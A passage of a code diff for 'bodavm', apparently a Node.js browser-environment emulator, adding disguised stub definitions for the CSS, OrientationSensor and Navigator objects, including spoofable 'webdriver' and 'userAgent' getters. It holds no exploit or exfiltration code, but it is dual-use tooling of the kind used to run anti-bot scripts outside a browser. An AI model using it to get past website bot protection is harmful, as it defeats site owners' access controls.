bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLProgram'], "WebGLProgram"); +// CSS对象 + +bodavm.memory.globalobj['CSS'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('CSS', "Hz", { + configurable: true, + enumerable: true, + writable: true, + value: function Hz() { + + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Hz", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "Q", { + configurable: true, + enumerable: true, + writable: true, + value: function Q() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Q", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ch", { + configurable: true, + enumerable: true, + writable: true, + value: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ch", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cm", { + configurable: true, + enumerable: true, + writable: true, + value: function cm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqb", { + configurable: true, + enumerable: true, + writable: true, + value: function cqb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqh", { + configurable: true, + enumerable: true, + writable: true, + value: function cqh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqi", { + configurable: true, + enumerable: true, + writable: true, + value: function cqi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqmax", { + configurable: true, + enumerable: true, + writable: true, + value: function cqmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqmin", { + configurable: true, + enumerable: true, + writable: true, + value: function cqmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqw", { + configurable: true, + enumerable: true, + writable: true, + value: function cqw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "deg", { + configurable: true, + enumerable: true, + writable: true, + value: function deg() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "deg", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dpcm", { + configurable: true, + enumerable: true, + writable: true, + value: function dpcm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpcm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dpi", { + configurable: true, + enumerable: true, + writable: true, + value: function dpi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dppx", { + configurable: true, + enumerable: true, + writable: true, + value: function dppx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dppx", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "em", { + configurable: true, + enumerable: true, + writable: true, + value: function em() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "em", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "escape", { + configurable: true, + enumerable: true, + writable: true, + value: function escape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "escape", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ex", { + configurable: true, + enumerable: true, + writable: true, + value: function ex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ex", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "fr", { + configurable: true, + enumerable: true, + writable: true, + value: function fr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "fr", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "grad", { + configurable: true, + enumerable: true, + writable: true, + value: function grad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "grad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "in", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "in", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "kHz", { + configurable: true, + enumerable: true, + writable: true, + value: function kHz() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "kHz", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "mm", { + configurable: true, + enumerable: true, + writable: true, + value: function mm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "mm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ms", { + configurable: true, + enumerable: true, + writable: true, + value: function ms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ms", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "number", { + configurable: true, + enumerable: true, + writable: true, + value: function number() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "number", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "pc", { + configurable: true, + enumerable: true, + writable: true, + value: function pc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pc", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "percent", { + configurable: true, + enumerable: true, + writable: true, + value: function percent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "percent", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "pt", { + configurable: true, + enumerable: true, + writable: true, + value: function pt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pt", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "px", { + configurable: true, + enumerable: true, + writable: true, + value: function px() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "px", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "rad", { + configurable: true, + enumerable: true, + writable: true, + value: function rad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "registerProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function registerProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "registerProperty", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "rem", { + configurable: true, + enumerable: true, + writable: true, + value: function rem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rem", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "s", { + configurable: true, + enumerable: true, + writable: true, + value: function s() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "s", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "supports", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "turn", { + configurable: true, + enumerable: true, + writable: true, + value: function turn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "turn", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vh", { + configurable: true, + enumerable: true, + writable: true, + value: function vh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vmax", { + configurable: true, + enumerable: true, + writable: true, + value: function vmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vmin", { + configurable: true, + enumerable: true, + writable: true, + value: function vmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vw", { + configurable: true, + enumerable: true, + writable: true, + value: function vw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "highlights", { + configurable: true, + enumerable: true, + get: function highlights() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "highlights_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('CSS', "dvb", { + configurable: true, + enumerable: true, + writable: true, + value: function dvb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvh", { + configurable: true, + enumerable: true, + writable: true, + value: function dvh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvi", { + configurable: true, + enumerable: true, + writable: true, + value: function dvi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvmax", { + configurable: true, + enumerable: true, + writable: true, + value: function dvmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvmin", { + configurable: true, + enumerable: true, + writable: true, + value: function dvmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvw", { + configurable: true, + enumerable: true, + writable: true, + value: function dvw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvb", { + configurable: true, + enumerable: true, + writable: true, + value: function lvb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvh", { + configurable: true, + enumerable: true, + writable: true, + value: function lvh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvi", { + configurable: true, + enumerable: true, + writable: true, + value: function lvi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvmax", { + configurable: true, + enumerable: true, + writable: true, + value: function lvmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvmin", { + configurable: true, + enumerable: true, + writable: true, + value: function lvmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvw", { + configurable: true, + enumerable: true, + writable: true, + value: function lvw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svb", { + configurable: true, + enumerable: true, + writable: true, + value: function svb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svh", { + configurable: true, + enumerable: true, + writable: true, + value: function svh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svi", { + configurable: true, + enumerable: true, + writable: true, + value: function svi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svmax", { + configurable: true, + enumerable: true, + writable: true, + value: function svmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svmin", { + configurable: true, + enumerable: true, + writable: true, + value: function svmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svw", { + configurable: true, + enumerable: true, + writable: true, + value: function svw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vb", { + configurable: true, + enumerable: true, + writable: true, + value: function vb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vi", { + configurable: true, + enumerable: true, + writable: true, + value: function vi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "paintWorklet", { + configurable: true, + enumerable: true, + get: function paintWorklet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "paintWorklet_get", arguments); + }, + set: undefined +}); +// OrientationSensor对象 + +bodavm.memory.globalobj['OrientationSensor'] = function OrientationSensor() { + console.log_copy('OrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OrientationSensor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OrientationSensor'], "OrientationSensor"); +bodavm.memory.globalobj['OrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['OrientationSensor'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('OrientationSensor', "quaternion", { + configurable: true, + enumerable: true, + get: function quaternion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "quaternion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OrientationSensor', "populateMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function populateMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "populateMatrix", arguments); + } +}, 'prototype'); +// Navigator对象 + +bodavm.memory.globalobj['Navigator'] = function Navigator() { + console.log_copy('Navigator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Navigator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigator'], "Navigator"); +bodavm.toolsFunc.defineProperty('Navigator', "vendorSub", { + configurable: true, + enumerable: true, + get: function vendorSub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendorSub_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "productSub", { + configurable: true, + enumerable: true, + get: function productSub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "productSub_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vendor", { + configurable: true, + enumerable: true, + get: function vendor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "maxTouchPoints", { + configurable: true, + enumerable: true, + get: function maxTouchPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "maxTouchPoints_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "scheduling", { + configurable: true, + enumerable: true, + get: function scheduling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "scheduling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userActivation", { + configurable: true, + enumerable: true, + get: function userActivation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userActivation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "doNotTrack", { + configurable: true, + enumerable: true, + get: function doNotTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "doNotTrack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "geolocation", { + configurable: true, + enumerable: true, + get: function geolocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "geolocation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "plugins", { + configurable: true, + enumerable: true, + get: function plugins() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "plugins_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mimeTypes", { + configurable: true, + enumerable: true, + get: function mimeTypes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mimeTypes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "pdfViewerEnabled", { + configurable: true, + enumerable: true, + get: function pdfViewerEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "pdfViewerEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitTemporaryStorage", { + configurable: true, + enumerable: true, + get: function webkitTemporaryStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitTemporaryStorage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitPersistentStorage", { + configurable: true, + enumerable: true, + get: function webkitPersistentStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitPersistentStorage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hardwareConcurrency", { + configurable: true, + enumerable: true, + get: function hardwareConcurrency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hardwareConcurrency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "cookieEnabled", { + configurable: true, + enumerable: true, + get: function cookieEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "cookieEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appCodeName", { + configurable: true, + enumerable: true, + get: function appCodeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appCodeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appName", { + configurable: true, + enumerable: true, + get: function appName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appVersion", { + configurable: true, + enumerable: true, + get: function appVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "platform", { + configurable: true, + enumerable: true, + get: function platform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "platform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "product", { + configurable: true, + enumerable: true, + get: function product() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "product_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgent", { + configurable: true, + enumerable: true, + get: function userAgent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "language", { + configurable: true, + enumerable: true, + get: function language() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "language_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "languages", { + configurable: true, + enumerable: true, + get: function languages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "languages_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "onLine", { + configurable: true, + enumerable: true, + get: function onLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "onLine_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webdriver", { + configurable: true, + enumerable: true, + get: function webdriver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webdriver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getGamepads", { + configurable: true, + enumerable: true, + writable: true, + value: function getGamepads() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getGamepads", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "javaEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function javaEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "javaEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "sendBeacon", { + configurable: true, + enumerable: true, + writable: true, + value: function sendBeacon() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "sendBeacon", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vibrate", { + configurable: true, + enumerable: true, + writable: true, + value: function vibrate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vibrate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "bluetooth", { + configurable: true, + enumerable: true, + get: function bluetooth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "bluetooth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clipboard", { + configurable: true, + enumerable: true, + get: function clipboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clipboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "credentials", { + configurable: true, + enumerable: true, + get: function credentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "credentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "keyboard", { + configurable: true, + enumerable: true, + get: function keyboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "keyboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "managed", { + configurable: true, + enumerable: true, + get: function managed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "managed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaDevices", { + configurable: true, + enumerable: true, + get: function mediaDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaDevices_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "storage", { + configurable: true, + enumerable: true, + get: function storage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "storage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serviceWorker", { + configurable: true, + enumerable: true, + get: function serviceWorker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serviceWorker_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "virtualKeyboard", { + configurable: true, + enumerable: true, + get: function virtualKeyboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "virtualKeyboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "wakeLock", { + configurable: true, + enumerable: true, + get: function wakeLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "wakeLock_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "deviceMemory", { + configurable: true, + enumerable: true, + get: function deviceMemory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "deviceMemory_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "ink", { + configurable: true, + enumerable: true, + get: function ink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "ink_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hid", { + configurable: true, + enumerable: true, + get: function hid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "locks", { + configurable: true, + enumerable: true, + get: function locks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "locks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaCapabilities", { + configurable: true, + enumerable: true, + get: function mediaCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaCapabilities_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaSession", { + configurable: true, + enumerable: true, + get: function mediaSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaSession_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "permissions", { + configurable: true, + enumerable: true, + get: function permissions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "permissions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "presentation", { + configurable: true, + enumerable: true, + get: function presentation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "presentation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serial", { + configurable: true, + enumerable: true, + get: function serial() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serial_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "usb", { + configurable: true, + enumerable: true, + get: function usb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "usb_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "gpu", { + configurable: true, + enumerable: true, + get: function gpu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "gpu_get", arguments); + }, + set: undefined +}, 